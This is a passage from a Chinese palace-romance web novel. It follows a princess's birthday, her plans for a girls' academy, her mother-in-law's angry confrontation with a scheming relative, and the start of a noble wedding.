她悠悠往前走着,“往后太子妃不在东宫相夫教子,反而在我的书院教书育人,皇伯父和朝臣能同意吗?” 萧长瑾道:“孤既应了她,自然能成。” 萧婧华便笑了,“行,明日我就和她说去。” “她至今不知孤和你提过与她之事,你别说露了。” 萧婧华哼道:“我知道!” 她哪儿有这么不靠谱! 萧长瑾温和笑着,轻柔抚摸萧婧华柔软发丝,“多谢婧华。” 萧婧华没忍住笑。 宫门口到了,恭亲王和陆埕在前方候着,萧长瑾停下步伐,“去吧。” “险些忘了。” 他懊恼摇头,郑重道:“婧华,生辰快乐。” 萧婧华眉眼温柔,同样郑重地拍拍萧长瑾小臂,认真道:“谢谢哥哥。希望明年这个时候,我能名正言顺地喊筱筱一声嫂嫂。” 她说完,脚步轻快地向前走。 萧长瑾无奈失笑,“这丫头。” “那便祝你,心想事成。” …… 和恭亲王分别后,萧婧华和陆埕回了陆府。 这个时间,陆夫人竟在院里等着,见两人回来忙迎上去,“回来了。” 摸着萧婧华冰凉手背,陆夫人忙道:“快给郡主倒杯茶暖暖身子。” 今日生辰,萧婧华给箬兰箬竹放了一日假,都在家里候着,闻言忙应声。 “好。” 携了陆夫人进屋,萧婧华一杯热水灌下肚,只觉通体生暖。 陆夫人挨着她坐,问她今日都做了什么。 萧婧华道:“回王府和父王用了午膳,下午进宫看望了皇伯父。” 简略说完,未听见回音,她疑惑看去。 陆夫人连道了几声“好”,从怀里取出一枚银簪。 簪头呈叶片形,其中镂空刻着花卉蝴蝶,虽无宝珠玉石镶嵌,但很是精美。 萧婧华拿在手中把玩,甜甜笑着,“谢谢娘。” “你喜欢就好。” 陆夫人笑。 二人凑在一起说了许久的话,眼见夜已深,陆夫人遗憾回房。 萧婧华送她出去。 回来时目光掠过书房,在原地静立片晌,直到夜风将她单薄的身子吹冷了,她才拾阶而上,在书房门前停下。 敲了两下门,里头响起“进”字,萧婧华推门而入。 陆埕坐在书桌后,埋头不知在作何,抬眼见了她,着急忙慌把手里的东西收下去,动作太过慌乱,桌上文书被他拂落不少。 萧婧华朝天翻白眼。 陆埕手脚麻利将东西收拾妥当,站起身,声线紧绷,“郡主。” 懒得问他在做什么,萧婧华道:“你没发现?” 陆埕一怔,不解道:“发现什么?” “娘心里好像有事。” 萧婧华道:“即便是在等我们,也不至于一直在院里候着。方才与我说话时也心不在焉的。” 像是心中慌乱不安,想寻个人说话纾解郁气。 她语气不好,“你这当儿子的,也不知道去问问。” 陆埕眉头拧起,“抱歉,是我没注意。” 和她道歉有什么用,去和娘道歉啊。 萧婧华转身。 “对了。” 她又转回去,“工部的人你什么时候去给我挑?我着急用。” 陆埕:“明日就去。” 萧婧华视线下滑。 “伤已经差不多快好了,不必担心。” “谁担心了?” 自作多情。 萧婧华扭头就走。 门口光影一晃,夜色吞噬光亮,只剩院内檐下灯盏散发着暖光。 她走了。 陆埕松开握紧的左手,指尖轻捻。 划痕横亘食指指腹,猩红鲜血冒出。 他擦去指尖黏腻,简单处理过后轻轻关上书房门。抬首望了眼灯火通明的正房,他并未惊动任何人,悄悄离去。 夜风微凉,轻柔拂过指间伤口,带了轻微刺痛。 陆埕在皎洁月色照耀下缓步走向前院。 灯熄了,整座院子笼罩在黑暗中,寂静无声。 耳畔若有似无的泣声仿佛只是他的错觉。 陆埕心口一痛,深深吸气,抬手敲门。 “谁?” 里头响起陆夫人带了哽咽的声音。 “娘,是我。” …… 予安觅真将今日收到的生辰礼全部送进来便退了出去,萧婧华坐在榻上,垂眸认真拆着。 箬兰凑上来,神神秘秘道:“郡主猜猜,今年的生辰礼是什么?” 萧婧华头也不抬,“总不过是首饰香囊。” 每年都是这些,她都猜腻了。 箬兰垮了脸,“郡主怎么一点也不配合。” 她揭开帕子,露出里头一只刻着云纹的银手镯。 萧婧华拿过,眼露喜意,“好看,我喜欢,箬兰费心了。” 虽然每年都是这些,但谁叫她喜欢呢。 谁能拒绝漂亮衣服和首饰? 箬兰忍不住笑,“郡主喜欢就好。” 箬竹也送上了礼,果不其然是只绣工精湛的香囊。蓝锻作底,其上绣着鱼戏莲花,外缀一圈珍珠,煞是好看。 另一张帕子里是一对耳铛,箬竹道:“这是予安和觅真的,祝郡主一岁一礼,一寸欢喜。” 萧婧华收下了。 她下了榻,从柜子里翻出匣子,取出四个银锭,“喏,你们一人一个,剩下两个待会儿拿出去分给予安和觅真。” 府中下人们的赏银今早便分下去了,想了想,萧婧华又拿了一个,“这个给夏菱。” 箬兰欢欢喜喜接下,“谢郡主。” 萧婧华心情愉快地回到榻上,继续拆礼。 箬竹箬兰上去帮忙。 “王爷的,这是太子的,云姑娘和谢姑娘……咦?”箬兰疑惑,“怎么没有陆大人的?” 萧婧华动作顿住,口中嫌弃,“谁要他的生辰礼。” 箬兰不平,“就算郡主不收,陆大人也不能不送啊。” 萧婧华眸色骤冷,“谁管他,爱送不送。” 箬竹猜测,“或者,陆大人是想在子时前送给郡主?” 箬兰往外看了眼漏刻,“那也快……” “行了。” 萧婧华打断,“说他作甚,继续拆我们的。” 箬兰:“哦。” 拆了许久才把礼物全部拆完,箬竹将能得上的留下,剩下的准备明日收进库房。 让粗使嬷嬷抬水进来伺候萧婧华洗漱,二人便拿着银锭退下了。 夜深人静,萧婧华躺在柔软床铺里,闭眼酝酿睡意。 那安神香大抵是用多了,如今半点不起作用。她在床上翻来覆去,脑子格外清醒,丝毫没有睡意。 萧婧华痛苦闭眼,开始想着明日穿什么衣裳戴什么首饰。 阿瑛送的那套襦裙她很喜欢,太子哥哥送的珍珠发冠也好看,但和裙子不太搭,还是戴筱筱那套头面好了,把耳坠换成端和送的,想来应该挺搭。 月光爬窗入室,徒留一地银辉。 子时过了。 萧婧华睁眼,眸中清明。 室内寂静无声,她一人无眠。 也唯有她一人。 第89章 昨夜睡得迟,萧婧华本不欲早起,可心里念着事,眼皮下的眼珠子转了好几圈,终究还是挣扎着起身了。 稀奇的是,陆夫人竟没去铺子,听侍女说她醒了,拎着早膳过来了。 她到时萧婧华正在妆台前由箬竹绾发,从镜子里瞧见陆夫人的身影,很是意外,“娘今日没去铺子?” 陆夫人摆手,“今个儿歇歇,天天都去,我这把老骨头迟早要散架。” 箬竹将一支红宝石杜鹃步摇插入萧婧华鬓间,她起身,流苏映着雪面,眉目生辉,光华万丈。 “娘还年轻,怎么就老骨头了。”萧婧华嗔道:“箬兰手劲不错,让她给娘捏捏。” 箬兰脆声:“好嘞。” 她站到陆夫人身后替她揉肩。陆夫人欢喜,“那便劳烦箬兰了。” 箬兰甜甜笑着,“不劳烦,我巴心不得服侍夫人。” 她嘴甜,哄的陆夫人眉开眼笑的,昨夜眉间郁色再不见踪迹。 萧婧华放下了心,吃着陆夫人带来的早点。 早膳过后,陆埕寻过来了。 他腿上的伤已是大好,除了崎岖路需要孟年这个人形拐杖外,其他平地只是走得慢了些,从外看不出什么异常。 对着陆夫人唤了声娘,陆埕道:“走吧,我带你去工部。” 萧婧华面色疏淡,起身理了理袖子,笑道:“娘,那我先走了。” 只短短一句话,陆埕便敏锐地察觉到不对。 陆夫人笑着颔首,“去吧。” 萧婧华对她笑了笑,转身出门。 “唰”的一声,予安觅真落在院子里,抱着剑跟在她身后。 箬兰箬竹则是留下整理昨日的生辰礼。 目送几人的身影消失在院外,陆夫人脸上的笑落了,怔怔出神片刻,她和箬兰箬竹打了声招呼,起身离去。 出了院子,她望着湛蓝天色,面无表情地揪着袖子。 …… 去往工部的路上,陆埕悄悄觑了萧婧华的面色好几次,终究没忍住问:“……今日可是不快?” 萧婧华心中冷笑。 当初追着他跑,没见他时时刻刻注意她的情绪,走得那叫一个潇洒。如今她后悔了,他倒是变得敏锐了。 真是贱的。 “这人还没到中年,怎么就眼花了?”萧婧华声色冷淡,“你哪只眼睛看见我心情不好?” 两只眼睛都看见了。 陆埕叹气。 见她闭着眼睛将脸撇到另一侧,明显不想和他交谈,陆埕只好缄默,脑中思索何处做的不对。 没等他想出个所以然来,工部已经到了。 下了马车,陆埕轻车熟路地带着萧婧华往里走。 往来官员纷纷向两人问好。 “陆大人来了。” “见过郡主。” 消息灵通的已经知道二人来此处的目的,有的面露期待,有的则是掩面而走,生怕自己被选上。 工部尚书只露了一面,让萧婧华随便挑,将事全权交给侍郎,便匆匆离去。 陆埕施礼,“有劳梁大人了。” 因他曾在自己手下做事,梁宏本想拿乔一二,可见到站在一旁目光明亮的萧婧华,又还了半礼,扯了扯嘴角,“陆大人如今与我同阶,何必如此多礼。” 陆埕摇头,“昔日在工部时,梁大人多有提携,这份恩情,陆埕始终铭记于心。” 他面色坦荡,不像是作假。 梁宏心里舒服不少,眉间挤出些许笑意,“你有心了。” 又顺势与陆埕攀谈。 萧婧华抱着双臂,淡淡看着两人。 面对同僚时,陆埕和往日里不太一样,不卑不亢,端正又谦逊。 见梁宏大有说个天昏地暗的架势,萧婧华出声打断,“梁大人,本郡主要的人在哪儿?” 梁宏尴尬一笑,“我这喜好叙旧的毛病也不知什么时候能改改,郡主见谅,见谅。” 萧婧华颔首,表示并未放在心上。 陆埕一连说了好几个人名,梁宏打趣,“看来陆大人即便是去了礼部,依然把咱们工部放在了心里。” 有个名字连他都记不住。 不过也不是什么重要人物,官职最大的甚至只是个员外郎,梁宏爽快吩咐,“去,把这些人给陆大人叫来。” 随侍之人恭声应是。 没多久,几道人影便出现在萧婧华面前。 她一个个端详。 一共三人,一老两少。 年长者头发花白,但腰背挺直,精神矍铄。剩下两个年轻人,一个眼珠子转来转去,透着股机灵劲,但并不惹人厌。另一个五官板正,眼眸始终垂着,看着很是沉默寡言。 梁宏道:“郡主要建书院一事,想必你们已有耳闻。从今日起,你们便跟随郡主,在外行走,代表的可是咱们工部的颜面,卿等定要尽职尽力,不可渎职。” 三人恭声,“谨遵侍郎大人之命。” 梁宏满意点头,“郡主,这三人,臣便交给你了。” “多谢。” 道了谢,萧婧华便和陆埕带着三人离开了工部。 刚走出大门,孟年急匆匆地跑了过来,附耳在陆埕耳边说了几句。 陆埕听完面色微变,“郡主,我……” “走呗。” 萧婧华无所谓。 刚迈出的脚步硬生生刹住,陆埕顿了片刻,“家中生事,我担心娘不能应付。” 萧婧华平淡的脸色霎时变了,急道:“那你快回去,可用得着我?” “不用,我能应付。” 萧婧华:“……哦。那你走吧。” 她背过身去。 陆埕抿抿唇,凝视她的背影片晌,转身和孟年走了。 脚步声逐渐远去,萧婧华舒出口气。 三人面面相觑,年长者斟酌着问:“郡主想在何处建书院?” 说起正事,萧婧华敛神,“在城外。具体位置未定,还得劳烦三位查探。” “三位可自行择选,五日后,再由本郡主择定一处。” 比起水利工事,书院简直太简单不过了,三人齐齐应声,“是。” 与萧婧华辞别,他们这便出城去。 在工部门前站了片刻,萧婧华往马车走去,“去敬国公府。” 予安应声,待她上了马车,驾车前往敬国公府。 今日敬国公夫人外出会友,听闻萧婧华到了,云慕筱忙将人引进自个儿院子。 “你这是打哪儿来的?” 萧婧华解下披风,随手交给随侍婢女,“工部。” 云慕筱微讶,“这么快。” “是啊。” 萧婧华进了里间,随云慕筱坐在罗汉床上,托腮苦恼,“你说,我这书院束脩收还是不收?” 她想帮穷苦人家的女孩,可这种家庭,会把姑娘送去书院吗? 别说束脩便是道门槛,还有笔墨纸砚等等,都是一笔不菲的费用。 云慕筱给她倒茶,“不收束脩,只怕你这书院开不了几年便撑不下去了。” 萧婧华丧气,长长一叹。 云慕筱轻笑,又问:“你这书院,只收贫穷姑娘?倘若商贾小吏之家将家中女孩送来,你收还是不收?” “当然要收。” “那她们的束脩,你可要收?” “当然。”萧婧华理直气壮,“一笔束脩罢了,她们又不缺,我为何不收?” 将茶推到她面前,云慕筱道:“既然如此,便分开算吧。” “分开?” 萧婧华握着茶杯,细细品着这个词。 她凝眉沉思,云慕筱并不打扰,安静品茶。许久之后,萧婧华眼睛一亮,握住云慕筱的手,“筱筱,你说这样可行?” 她娓娓道来,“将书院一分为二,一边与寻常书院无异。另一边则传授绣花、做胭脂等手艺,不交束脩,但她们结业后,必须在我名下的产业里做事,至少五年。” 云慕筱眸光微亮,旋即笑道:“如此,可要辛苦姿娘了。” 萧婧华惊喜,“你觉得可行?” 云慕筱握紧她的手,坚定道:“可行。” 萧婧华禁不住笑,眼中笑意似花开。 注意到云慕筱的欲言又止,她眨了下眼,故作愁闷,“还有夫子一事。我认识的多是朝中重臣,必不可能屈尊纡贵来我这小小书院,你可有人选?” 云慕筱动了动唇,“婧华,你觉着……” 萧婧华看她,“怎么了?” 她鼓起勇气,“你觉着,我如何?” 萧婧华当即笑了,“你可是云家的姑娘,一个书院夫子,当然能胜任。” 见她促狭地眨着眼,云慕筱面带薄红,羞赧道:“你看出来了?” 不是她看出来的也只能是了。 萧婧华毫不犹豫点头,“是啊。” 重重握住云慕筱的手,她道:“筱筱,有你帮我真好。” 云慕筱抬睫,笑意温软。 “对了。” 萧婧华四处望着,“我怎么没看见阿瑛?” 云慕筱无奈轻叹,“又去找仰将军过招了。” 精力可真足啊。 萧婧华艳羡。 略坐了会儿,云慕筱留萧婧华用膳,正要差人吩咐厨房,敬国公夫人带着人一脸兴奋地进了屋。 “筱儿,娘听说……郡主?” “国公夫人。” 萧婧华礼貌笑了下,与云慕筱对视一眼,她起身,“那我便先走了。” 敬国公夫人热情道:“郡主不再多坐会儿?” 萧婧华摇头,“不打扰夫人和筱筱叙话了。” 云慕筱起身,“我送你。” 送了萧婧华回去,敬国公夫人仍在院中,面上喜色丝毫不减,拉着云慕筱道:“三日后你表妹大婚,太子到时也去,娘给你做了身新衣裳,到时你记得好好表现表现,争取给殿下留个好印象。” 表妹大喜的日子,她要怎么表现?不怕人说喧宾夺主? 云慕筱心中横生郁气。 她想反驳,可对上敬国公夫人殷切又期待的目光,所有的烦闷似被抽走生息的原野。 荒芜又自厌。 她低低的,缓慢道:“好。” …… 回到陆府后,院子里只有箬兰箬竹和几名侍女、粗使嬷嬷。 萧婧华往书房的方向看了一眼。 “陆埕没回来?” 箬竹摇头,“没见着大人。” 难不成是骗她的? 萧婧华皱眉。 可犯不着啊。 他说起家中生事时的焦急不似作伪。 想了想,萧婧华撇下箬竹几人,往前院走去。 凉亭已经修缮完毕,小径两侧繁花似锦,成群蝴蝶流连花丛,扑棱着双翅停留在花蕊中。行走在其间时,仿若云端。 清风和缓,春日景盛,几只燕子相携在檐下筑巢,听了人声,又匆匆飞向蓝天,徒留几道白痕。 凉亭旁立着一架秋千,紫藤缠绕,花香淡雅。有蜻蜓停于花心,阳光照耀其身,暖意融融。 萧婧华极少去前院,险些走岔了路,绕了好几条道,终于到了前厅。 行走在长廊上,就在即将到达厅堂时,里边猛地传来一声怒喝。 “滚!都给老娘滚出去!” 听出这是陆夫人的声音,萧婧华心一急,提着裙子快步走近,足下一转,正要进去,里边的话却让她顿在原地。 第90章 陆埕和孟年到家时,陆夫人正在门口徘徊,双手紧紧攥着,神色极为难看。 “娘,人呢?” 抬头见是陆埕,陆夫人面色稍缓,语气冷硬,“在里边。” 陆埕握住她手,“放心,有我在。” 陆夫人眉间聚拢的乌云散去不少,没好气白他一眼,“当你娘是好惹的?” 她已经不是当年那个好欺负的寡妇,真把她惹急了,她能提刀跟人拼命。 念及陆埕如今是官身,陆夫人告诫自己要冷静,不能给阿埕和婧华惹出事来。不到万不得已,绝对不能动手。 “娘自然厉害。” 陆埕掌中用力,“走吧,进去。” 陆夫人舒了口气,重重点头。 孟年快步跟在两人身后。 厅内父子二人见了人影,忙站起身。 陆默殷勤笑着,“多年不见,大嫂光彩依旧,和年轻时候一样漂亮。” 陆夫人睨他一眼,语气淡淡,“三叔这话说的,阿埕阿旸的两个叔叔早就没影了,这些年我独自把他们拉扯长大,那是日夜操劳,谈何光彩。” 陆默尴尬一笑,转头看向陆埕,欣喜道:“这是阿埕?都长这么大了。” 陆夫人轻呵一声,“十多年不见,又不是哪吒,能不长大?” 陆默一噎,伸手拉过陆河,“小河,还记得你大伯母和大堂兄吗?快叫人。” “大伯母,大堂兄。”陆河乖巧喊人。 “不必了。”陆埕语气疏冷,“当年阿旸饿狠了拿了你一块糕点,你骂他是灾星,亲口说过从此不再是他堂兄。我是阿旸的亲兄长,与陆公子自然也毫无关系。” 陆河当即拉下脸。 陆默脸色有一瞬极为难看,尬笑两声打着圆场,“小河那时候还小,童言无忌,怎能当真?说起阿旸,他人呢,三叔来了怎么也不出来见见?” 陆夫人坐在上首,语气懒散,“在书院呢,又不是什么大人物,何必叫他跑一趟。” 陆默神情僵硬,余光里见儿子忍气对他使了个眼色,他摇摇头,拉着陆河坐下。 沉默半晌,他忽然抬手抹泪,嗓音颤抖,“大嫂,这些年,我悔啊。一想起年轻时做的糊涂事,我这心啊,就一抽一抽的疼。大哥在世时对我们兄弟二人多好啊,可我就怎么听了二哥的谗言,置你们母子三人于不顾呢?百年之后,我怎么有脸面去见大哥啊!”孟年靠在房柱上,打着哈欠听戏。 心里默默道,十多年不见,三爷还是跟梨园里的角儿似的,唱念做打说来就来。 唱就算了,也没个长进。 昨夜几乎一夜没睡,陆夫人这一上午本就是强打精神,听着哭声半阖着眼打瞌睡。 陆埕则是在出神。 直到现在,他也没想明白萧婧华因何置气。 昨夜到现在,他做了什么? 难不成是因为他没注意到娘的不对劲? 可这值得她气这么久么? 堂内三人出神的出神,打瞌睡的打瞌睡,谁也没理会陆默。 他这一哭就哭了整整一个时辰,不光自己,还带着陆河哭,哭来哭去也不过哭陆埕父亲在世时的那点子情分。 尖利的哭声在耳侧炸响,陆夫人一个激灵,彻底醒了。 眼见午时将近,念着萧婧华可能会回来用午膳,陆夫人有些不耐了。 听着陆默哭诉自己回乡后经营不善,做生意赔了个本,媳妇过不了苦日子丢下他们父子二人跑了,陆夫人将他打断。 “行了,这次上京,你究竟想做什么?” 陆默收了泪,斟酌着道:“大嫂,听说咱们阿埕娶了郡主?” 陆夫人瞬间警觉,“你提这个作甚?” “小河这孩子自小就聪慧,虽然比不上阿埕天资聪颖,但在读书上也算有些天赋,年纪轻轻就中了秀才。” 陆默恨声道:“只是那县令之子嫉妒他的才华,硬是夺了他科举的资格,我想着咱们家既与皇家结了亲,能不能让阿埕与郡主说说,给小河一个官位?官职不用太大,即便是七品小吏,我们也心满意足了。” 孟年目瞪口呆。 三爷的脸皮,怎么能这么厚? 陆埕恍然间回神,听清陆默的话,眸色一沉。 方要开口,却听上首一声怒喝。 “滚!都给老娘滚出去!” 陆河一脸惶然,陆默也被吓一跳,“大、大嫂,你这是何意?” “何意?” 陆夫人握拳,拄着桌子站起,咬牙切齿道:“陆默,你还要不要脸了?当年我丧夫,你们陆家人欺我孤儿寡母无人撑腰,逼着我分家,抢走了我夫君的赙赠,不顾我们母子的死活,如今看我儿官途顺遂,又眼巴巴地找上来,大言不惭地张口就要官位,你的良心是被狗吃了吗?!” 陆默哭道:“大嫂,当年我都是被二哥逼的啊。大哥去了,他就是一家之长,我怎么能不听他的?” “放屁!” 陆夫人重重拍下一掌,桌面茶具哐当震响。 “陆老二不是个好东西,你陆老三又好得到哪儿去?” 陆夫人怒极,“你以为我不知道,当年那些肮脏事不是你在背后做的?” 陆默摇头否认,“大嫂,不是我,真的不是我,是二哥,那都是二哥做的。” “给老娘闭嘴!” 陆夫人揣起茶杯扔过去,杯子噼里啪啦在陆默脚下碎开,他被吓住了,满脸不可置信。 陆夫人心中又痛又恨。 “房契、银钱拿去也就罢了,那本就是你们陆家的东西,我给就给了。可你们为什么不肯给我们孤儿寡母一条活路?!” “我拿所有的银钱支了个摊子,起早贪黑和殷姑叫卖,只是想养活我的两个儿子。为什么你们连这点要求都不能满足?” 她也曾是家中娇养的女儿,十指不沾阳春水,每日只知风花雪月,琴棋书画。 可她看上了陆明之,为了他不惜与父母反目,出嫁当日父母兄长无一现身,穿着一身红衣,就这么嫁进了陆家。 身为长嫂,她礼待两个小叔子,怜惜他们自幼失怙失恃,满心满意为他们着想,在丈夫高中后将他们也带进了京城,为他们操持娶妻。 可他们做了什么? 陆夫人一把抹掉脸上的泪,“陆老二人虽然浑,但他做不出那些恶毒的事,顶多逼迫我分家产。散播我克死丈夫的谣言,造谣我不守妇道,在亡夫孝期和男人厮混,甚至说我摊子上的糕点里掺了毒,收买人上门去闹的人,是你吧?” 陆默一脸慌乱,“大、大嫂,你在说什么?我怎么会做出这样的事?” “你什么做不出来?” 陆夫人冷笑,“当年偷拿了你大哥上京赶考的银子被我揭发,明之将你打个半死,你是不是那时就恨上我了?” “除此之外,你是不是听说我娘家偷偷给了我嫁妆,惦记着那笔银子?” 陆默怔忪。 陆夫人恨极,“陆老三,你简直又毒又蠢!” 她泪流满面,“你是明之一手拉扯大的,没有他,你早就死了!你怎么能在他去后这么对他的妻儿?!” 陆夫人指着陆埕,咬牙道:“阿埕身上流的,是你大哥的血啊!你知不知道,为了生计,他差点卖身为奴!” “我打啊打,把他的心性打了回来,带他去了私塾。他跪在我面前,跪在众多夫子面前,求他们再给他一次机会。他磕得满头是血,硬是咬着牙没喊疼。可我的心里在滴血啊!” “我的阿埕是个心气高的孩子,就连字写得不如同窗回家后都会生闷气,可他当着那么多人的面,跪着磕了无数个头。” “每每想起这些事,陆老三,我就恨不得扒了你的皮抽了你的筋,你怎么敢、怎么还敢出现在我的面前!” 陆夫人捂着胸口重重喘气。 “娘!” 陆埕扶着陆夫人坐下,“孟年,倒水!” 孟年扑过来,急忙倒了杯水。 喂陆夫人喝了杯水,见她缓了过来,陆埕低声道:“娘,您先回去吧,这里有我在。” 陆夫人喘着气,抖着手抹掉脸上残留的泪珠,“这是我家,凭什么我走?要走也是他们走。” 陆埕忙道:“好,我这就让他们走。” 他走到满脸惊惶的陆默陆河面前,缓声道:“三叔,你还记得当年闹的那场鬼吗?” 陆默瞳孔骤缩。 怎么不记得,那段时日,夜里常常闹鬼,他无数次看见大哥来找他算账,要带他离开。 或许是亏心事做多了,他害怕大哥索命,仓促带着妻儿回了老家。 “你大概不知,那是我和孟年扮的。”陆埕道:“二叔不经吓,生怕父亲要他的命,几下便把你供了出来。” “你撺掇着二叔分家,诬陷我娘,我都一清二楚。” 陆默瞪眼,恨恨咬牙,“陆老二!” 他就说,他们怎么会知道得一清二楚,原来陆老二早就把他卖了! 怪不得听说陆埕当了大官后不敢和他一同上京,原来在这里等着。 “三叔。” 陆埕的声音陡然变沉,“当初怎么让你离的京,现在的我只会有过之而无不及。” 陆默周身一颤,后心发凉。 是啊,现在的陆埕已经不再是当年的孩童了。 他是朝廷重臣,又有个王爷岳父,想弄死他,简直和蚂蚁一样简单。 他错了。 不该心存侥幸,跑这一趟。 他以为当年有二哥在前头挡着,陆埕母子不会知道他的所作所为。就算当初弃他们不顾,只要拿大哥出来哭上一哭,哪怕不给官职,也能得些好处。 可没想到,竟是竹篮打水一场空。 陆默膝盖发软,痛哭哀求,“阿埕,三叔错了,真的知错了,你高抬贵手放过我们吧。我们明天就走,不,马上,马上就走。” 陆河也跟着哭,“大堂兄,我爹已经知道错了,我们马上就回老家,马上就回。” 陆埕退后两步,冷眼看着二人的丑态,“滚吧。” 陆默陆河如释重负,转身就跑。 萧婧华立即侧过身子靠着门扉,刚好与两人侧身。 里头,陆夫人还在恨恨地骂,萧婧华望着屋檐怔忡出神。 她认识陆埕时,陆家的日子和普通百姓无甚区别,唯一的不同,大抵是出了个陆埕。 那时的他,是先生口中的大才,是同窗艳羡的存在。 她实在想象不出陆埕为了读书跪地磕头的模样。 也想象不出陆夫人究竟吃了多少苦。 人走远了,陆埕道:“孟年。” 孟年走来,“大人有何吩咐?” 陆埕低声,“去找个人,抢了他们身上的银钱。” 他眉眼平淡,“京城到江南的沿途风景尚佳,让三叔和堂弟好生欣赏。” 走着回去吧。 孟年乐了,“成。” 陆埕叮嘱,“做得干净些。” 孟年拍着胸膛,“我办事你放心。” 听着里头动静,萧婧华收敛情绪,若无其事地转身迈步进去,险些和孟年撞上。 她嫌弃,“好好走路。” 孟年结巴了,“郡、郡主?” “不过一个多时辰不见,你就不认得我了?” 萧婧华乜他,满脸无语,“你们都在这儿做甚?” 她看着陆埕,“不是说家中生事?出什么事了?” 余光瞧见陆夫人,惊讶着快步走近,担忧道:“娘怎么哭了?” 陆埕面不改色,“方才有亲戚上门,说起了一些旧事,娘不免伤感。” 萧婧华在心中啧一声。 她错了,谁说陆埕不会撒谎?连眼神都没动一下,若非方才她就在门外,任谁也不知他说的是假的。 她故意道:“既然是亲戚,怎么没留饭?” “嗐,他们忙着呢。”陆夫人擦去脸上泪痕,起身挽住萧婧华的手,笑道:“不说他们了,娘吩咐厨房做了你喜欢的菜,咱们快去。” “好啊。” 萧婧华弯着眼笑。 一家人用完饭,陆埕和萧婧华一道回去。 腿伤已经大好,陆埕不准备再在家中待下去,便道:“明日我就回去上值了。” 萧婧华:“哦。” 进了院子,她骤然出声,“三日后文仪姑姑迎新妇,到时你和我一起去。” 她虽不喜宁国公夫人,但文仪姑姑的面子还是要给的。 陆埕眼里瞬间融了光,“好。” 不知他在笑什么,萧婧华嫌弃,快步往前走去。 陆埕看着她回屋,这才进了书房。 听着外边动静,萧婧华推开窗,喊道:“觅真。” 觅真嗖一下从屋檐上跃下,站在窗外问:“郡主有何事吩咐。” 萧婧华道:“孟年要去教训两个人,你跟着他,等他走后再去把那两人打一顿。” 顿了瞬,她补充,“这次就不用留银子了。” 不留银子,看来郡主对这两人很是厌烦,觅真想着待会儿下手可要重些。 她重重点头,“好。” 握着剑跃上屋檐,几下就没影了。 见她离开,萧婧华在书桌前落座。挥退箬竹箬兰,她亲手磨墨,心中缓缓思忖,随后凝神提笔,下笔有神。 两日转瞬即逝。 明日是宁国公府嫡出大姑娘大喜的日子,整座国公府张灯结彩,热闹又喜庆。 宁国公夫人满意抚摸着火红嫁衣上的鸾凤,转身对宁妙云道:“交代你的可记住了?” “娘。” 宁妙云咬唇,水眸盈盈,“明日女儿大婚,就不能、不能推迟几日?若是长公主迁怒,我往后……” 宁国公夫人放下嫁衣,在女儿身旁落座,握着她的手,“你什么也没做,只在新房里做你的新娘子,长公主能迁怒你什么?” “妙云。”宁国公夫人语重心长道:“邹家那边因你哥哥不愿,已经颇有微词,近日甚至已有打算为邹姑娘另觅佳婿。拓儿殿试只得探花,被个不知从哪个乡野来的小子抢走了状元之位,若是缺了邹家的助力,他往后在官场上的路,可就没那么顺遂了。” 宁国公夫人拍着女儿的手,“你是姑娘家,从小到大,娘难免对你偏疼些,可只有你哥哥好了,你在夫家才能过得好。” 她叹道:“妙云,说来说去,娘都是为了你们。” 宁国公夫人哽声,“倘若你爹还在,哪用得着娘这么汲汲营营,算计这个算计那个,到头来,倒让你哥哥怪上我了。” “娘。” 宁妙云将头靠在宁国公夫人肩头,眼带湿意,“哥哥第一次喜欢一个姑娘,总会有些难以忘怀。我看他只是一时意难平罢了,等他想明白了,他会理解娘的良苦用心。” 她喃喃,“等嫂嫂进门就好了,她会帮着娘劝哥哥的。” 宁国公夫人揽住女儿,欣慰叹息,“妙云,娘的乖女儿,只有你最懂娘的心。” 90-100 第91章 (修) 收拾妥当,萧婧华出了门。 予安备好了车,正在门外等候,待她上了马车,扬起马鞭,赶往文仪长公主府。 长公主府离陆府有些距离,萧婧华到时文仪长公主正忙着招待宾客。 萧婧华上前祝贺,“姑……” 刚发出一个音节,文仪长公主眼睛一亮,急声道:“快,帮姑母迎迎客。” 没等萧婧华应声,便将她拉了过去。 迎面走来位德高望重的老夫人,萧婧华无法,只得端起笑脸。 新郎官虽非文仪长公主之子,但他失恃失祜后便由小叔抚养,长公主下嫁驸马后多年无子,几乎将他当成亲子看待,有了自己亲生骨肉后也待他如常。看在文仪长公主和驸马的面子上,今日可谓是宾客云集。 站了许久,萧婧华脸都快笑僵了。 她侧过头,微不可察地舒口气,素手抚上侧脸,正想揉两下,一道轻柔女声落下。 “郡主。” 转过头,只见邹绮雯跟在邹夫人身后,笑容端庄,尽显淑贞。 萧婧华浅笑颔首,“邹姑娘这边请。” 邹绮雯对她温和一笑,随邹夫人入内。 萧婧华望着她的背影。 之前听说邹家和宁国公府有意结亲,可到如今也没个音信,也不知是个什么章程。 恰好又有宾客至,萧婧华收敛心神,笑着迎客。 没多久,敬国公府的女眷到了。 谢瑛见她站在文仪长公主身边,稀罕地挑了挑眉。 敬国公夫人笑容满面地和文仪长公主说话,萧婧华低声道:“我现在抽不出身,待会儿再去找你们。” 云慕筱笑着点头,“好。” 两人走后没多久,外头响起唱声。 “太子到——” 萧长瑾一身宝蓝色锦袍出现在门口。 陆埕跟在他身后,月白色长衫曳地,清幽如月辉。 宾客们纷纷停下攀谈,放下手中之物,恭敬道:“见过殿下。” 萧长瑾含笑摆手,“今日姑母大喜,诸卿随意。” 他快步走到文仪长公主面前,拱手作揖,“玮弟花烛之喜,想必明年就该给姑母添个孙子了。” 陆埕也道:“恭喜长公主。” 文仪长公主笑得合不拢嘴,“好好好。” 笑着笑着,她怪道:“都成婚这么久了,怎么还叫长公主?” 陆埕微顿,俯首作揖,“姑母。” 文仪长公主满意点头。 她瞧着萧长瑾,“瑾儿,你玮弟都成亲了,你那东宫准备何时迎位太子妃?” 刚走近的姜驸马闻言“欸”了一声,“儿孙自有儿孙福,孩子都不急,你急什么?” 文仪长公主白了丈夫一眼,“我哪急了?皇兄这个当爹都不急,我急什么。” 姜驸马失笑赔罪,“是我失言,娘子莫怪。” 文仪长公主含羞瞪了丈夫一眼。 萧婧华和萧长瑾对视一眼,又若无其事挪开。 这两人成婚这么多年,还是这么腻歪。 萧长瑾笑道:“姑母放心,太子妃会有的。” 文仪长公主不好多问,将萧婧华推到陆埕身边,笑道:“婧华跟着我累了一下午,快带她去歇着。” 萧婧华猝不及防,半边身子倒在陆埕身上。 侧脸贴在他胸膛,清冽气息环绕,裸露在外的肌肤瞬间起了疙瘩。 陆埕连忙环着萧婧华,替她稳住身形。 